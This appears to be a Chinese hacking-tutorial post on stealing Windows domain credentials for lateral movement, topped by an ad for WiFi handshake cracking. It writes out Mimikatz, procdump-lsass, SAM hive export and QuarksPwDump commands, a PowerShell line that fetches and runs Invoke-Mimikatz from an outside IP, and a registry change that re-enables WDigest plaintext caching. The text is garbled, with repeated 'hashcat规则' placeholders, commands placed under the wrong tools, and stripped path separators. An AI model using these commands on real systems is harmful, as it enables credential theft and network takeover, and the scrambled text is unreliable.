内网横向移动研究:获取域内单机密码与Hash

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 握手包跑包

各位好 又见面了 我是曹操 今天给大家带来一篇新的教程

希望各位细心学习 低调用网

hashcat规则

Username:RID:LM-Hash:NT-Hash

内网横向移动研究:获取域内单机密码与Hash

在内网渗透中,当攻击者成功控制一台内网机器后,他们会利用被攻陷的主机作为跳板,通过各种手段(如收集域内凭证)访问其他内网机器,以扩大攻击范围。通过这种方式,攻击者最终可能获得对域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,从而控制域环境下的所有机器。

在内网渗透中,许多横向移动的方法都需要攻击者先获取域用户的密码或哈希值,例如哈希传递攻击、票据传递和黄金票据维持权限等。本文将首先介绍获取域内单机密码的方法,下一篇文章将讨论其他攻击手段。由于最近一直在准备“蓝帽杯”比赛,所以一直没有时间更新,文章可能有些仓促,还请多多指教。

本文旨在为像我这样的初学者准备,大神请略过!

Windows中的密码

自Windows 2000以后,Windows机器使用NTLM算法在本地保存用户密码,密码的NTLM哈希保存在%SystemRoot%System32configSAM文件中。Windows操作系统通常使用两种方法对用户密码进行哈希处理,即LAN Manager(LM)哈希和NT LAN Manager(NTLM)哈希。哈希(Hash)是指使用一种加密方法对明文密码进行加密,将任意长度的字符串数据进行一次加密运算,得到一个固定长度的字符串。Windows加密后的密码口令称为哈希。

Windows操作系统中的密码通常由两部分组成:LM哈希和NTLM哈希。在Windows中,哈希的结构通常如下:

hashcat规则

在Windows 2000之后的系统中,LM哈希的第一部分通常为空值,因为LM哈希很容易被破解。因此,NTLM哈希才是真正存储用户密码哈希值的部分。

在渗透测试中,通常可以从Windows系统的SAM文件和域控的NTDS.dit文件中获取所有用户的哈希值。也可以通过Mimikatz工具读取lsass.exe进程,获取已登录用户的NTLM哈希和明文密码。

详情请见:

获取明文密码或密码哈希

获取到哈希值后,我们可以使用破解工具来破解得到明文密码,也可以进行哈希传递攻击(PTH)来进行横向渗透。

PwDump7工具

下载地址:

Pwdump7可以在命令行下提取系统中用户的密码哈希(包括LM和NTLM),需要系统权限。对于高级黑客玩家来说,这个工具可能很熟悉。通过Pwdump7提取的哈希值可以使用ophcrack等工具破解得到明文密码,对进一步渗透非常有帮助。

使用方法很简单,只需在命令行环境中运行Pwdump7程序,即可获取当前系统中各个用户的密码哈希(包括LM和NTLM):

privilege::debug      // 提升至debug权限
sekurlsa::logonpasswords       // 抓取密码

Mimikatz工具

下载地址:

Mimikatz是由法国人Benjamin开发的一款功能强大的轻量级调试工具,在渗透测试领域非常有名。通过Mimikatz,您可以提升进程权限、注入进程、读取进程内存。最重要的是,它可以直接从lsass.exe进程中获取当前登录系统用户的密码。lsass是微软Windows系统的安全机制,主要用于本地安全和登录策略。通常情况下,我们在登录系统后输入密码,密码会存储在lsass内存中,经过wdigest和tspkg两个模块的调用,使用可逆算法进行加密并存储在内存中。Mimikatz正是通过逆向lsass获取明文密码!也就是说,只要您不重新启动计算机,就可以使用Mimikatz获取登录密码,但仅限于当前登录系统!

注意:在安装了KB2871997补丁或系统版本大于Windows 10或Windows Server 2012时,默认禁止在内存缓存中保存明文密码。这意味着无法使用Mimikatz从内存中读取明文密码,但可以通过修改注册表来抓取明文密码。

Mimikatz读取明文密码和哈希值是最常用的方法,需要管理员权限。

hashcat规则

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

hashcat规则

sekurlsa::minidump 目录lsass.dmp       // 将导出的lsass.dmp载入到mimikatz中
sekurlsa::logonpasswords full                 // 获取密码

Procdump工具

Procdump是微软官方发布的工具,因此杀软不会拦截。它可以用来导出目标机器的lsass文件。下载地址:

首先,在目标机器上上传微软的工具Procdump,并导出其lsass.exe:

hashcat规则

reg save hklmsam sam.hive
reg save hklmsystem system.hive

hashcat规则

lsadump::sam /sam:sam.hive /system:system.hive

然后,将在目标机器上导出的lsass.dmp下载到本地,并使用Mimikatz导出lsass.dmp中的密码和哈希值:

通过SAM和System文件获取密码和哈希值

首先,使用注册表命令将目标机器的SAM或System文件导出,需要管理员权限:

然后,将目标机器上的sam.hive和system.hive下载到本地,并使用Mimikatz读取sam和system文件获取NTLM哈希值:

hashcat规则

privilege::debug
token::elevate
lsadump::sam

hashcat规则

QuarksPwDump.exe --dump-hash-local        // 导出本地hash值
QuarksPwDump.exe -dhl

也可以直接使用Mimikatz读取本地SAM文件,获取密码哈希值:

Quarks PwDump工具

下载地址:

Quarks PwDump是一款开源的Windows用户凭证提取工具,可以提取Windows平台下多种类型的用户凭证,包括本地帐户、域帐户、缓存的域帐户和Bitlocker。目前支持Windows XP/2003/Vista/7/8版本,非常稳定。使用需要管理员权限:

hashcat规则

QuarksPwDump.exe -dhdc         // 导出内存中的域控哈希值
QuarksPwDump.exe --dump-hash-domain-cached

hashcat规则

powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

使用Powershell脚本

使用Powershell脚本加载Mimikatz模块获取密码,该脚本位于Powersploit后渗透框架中,下载地址:

通过在目标机器上远程下载并执行该Powershell脚本,即可获取密码,需要管理员权限。

hashcat规则

powershell -exec bypass -c "Invoke-Mimikatz -DumpCreds}"

hashcat规则

Windows密码哈希破解方法:ophcrack在线破解

获取到密码哈希后,我们需要对其进行破解,以获取明文密码。现在有许多网站提供在线密码破解服务,可以在获取密码哈希后使用这些网站进行在线破解。

hashcat规则hashcat规则

将获得的NTLM哈希输入到第一个查询框中,点击GO即可进行破解。密码长度小于14位的密码通常在几分钟内就可以破解完成:

ophcrack工具

ophcrack是一款Windows密码哈希值破解工具,官方提供了几十GB的哈希表。下载地址:

ophcrack提供的彩虹表下载地址:

ophcrack使用非常简单,打开程序,点击Load导入哈希值,然后加载Tables,执行Crack即可进行破解:

hashcat规则

ophcrack详情请参考:

Hashcat工具

Hashcat号称是世界上最快的密码破解工具,是第一个也是唯一一个基于GPGPU规则的引擎。Windows版下载地址:

Linux版下载地址:

下载后,进入源码目录,执行以下命令:

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f           // 开启Wdigest Auth
 
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f           // 关闭Wdigest Auth

Hashcat功能强大,可以做很多事情,您可以自行探索,愉快地进行折腾吧!

相关防范措施

为了防止用户的明文密码在内存中泄露,微软发布了KB2871997补丁,关闭了Wdigest功能。Windows Server 2012及更高版本默认关闭Wdigest,使攻击者无法从内存中获取明文密码。对于Windows Server 2012以下版本,如果安装了KB2871997补丁,攻击者同样无法获取明文密码。

要在命令行环境中启用或禁用Wdigest Auth,有以下两种方法:

使用reg add命令

hashcat规则

攻击方法:将UseLogonCredential的值设置为1,然后注销当前用户,再次登录后使用Mimikatz即可导出明文口令。

Nishang中的Invoke-MimikatzWDigestDowngrade脚本集成了这个功能,地址如下:

结束语

本节中,我们介绍了在内网渗透中获取域内单机密码和哈希值的方法。获取到哈希值后,我们可以使用工具进行爆破,获得明文密码,也可以使用哈希传递、票据传递等方法进行内网横向渗透,非常有用。

在下一节中,我们将详细讲解PTH、PTT等内网横向移动技术。

参考资料:

《Sqlmap从入门到精通》

赞(0)